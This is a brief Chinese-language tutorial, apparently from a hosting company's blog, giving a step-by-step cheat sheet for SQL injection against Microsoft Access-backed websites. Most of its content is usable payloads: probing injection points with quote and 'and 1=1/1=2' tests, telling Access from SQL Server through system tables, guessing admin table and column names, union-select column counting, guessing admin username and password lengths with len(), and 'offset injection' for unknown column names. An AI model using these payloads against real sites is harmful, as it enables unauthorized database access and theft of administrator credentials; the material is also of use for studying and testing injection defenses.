溫馨提示×
您好，登錄后才能下訂單哦！
點擊 登錄注冊 即表示同意《億速云用戶服務條款》
您好，登錄后才能下訂單哦！
access數據庫
優勢：提高速度和減少代碼量
缺點：數據過大性能下降，安全性低
后綴名：.mdb
打開工具：輔臣數據庫瀏覽器，破障瀏覽器
access注入
判斷注入點：‘ ，and 1=1, and1=2, or 1=1, or 1=2, and 1=23, 在id=后面加一個減號，報錯有注入點
判斷數據庫類型：and exists(select * from msysobjects)>0 存在說明是access數據庫 , and exists(select * from sysobjects)>0 存在說明是sql server數據庫
判斷數據庫中的表：and exists(select * from admin) 返回成功說明存在
access的數據庫中的表：admin，msysobjects，user，username，
判斷數據庫中表內的字段名：and exists(select username from admin) 返回成功說明存在
判斷字段長度：order by N
報錯：and 1=2 union select 1,2,....,N from admin(聯合查詢)
判斷賬戶密碼長度：and (select len(admin) from admin)=5 如果返回正常說明管理賬戶的長度為5
and (select len(password) from admin)=5 猜解管理密碼長度是5
偏移注入
主要用來解決表名猜到，列名猜不到的情況
and 1=2 union select 1,2,....,N from admin(聯合查詢)，用*從最后一個字段向前逐個代替，直到顯示正常為止，*代表所有數據表內的字段
免責聲明：本站發布的內容（圖片、視頻和文字）以原創、轉載和分享為主，文章觀點不代表本網站立場，如果涉及侵權請聯系站長郵箱：is@yisu.com進行舉報，并提供相關證據，一經查實，將立刻刪除涉嫌侵權內容。
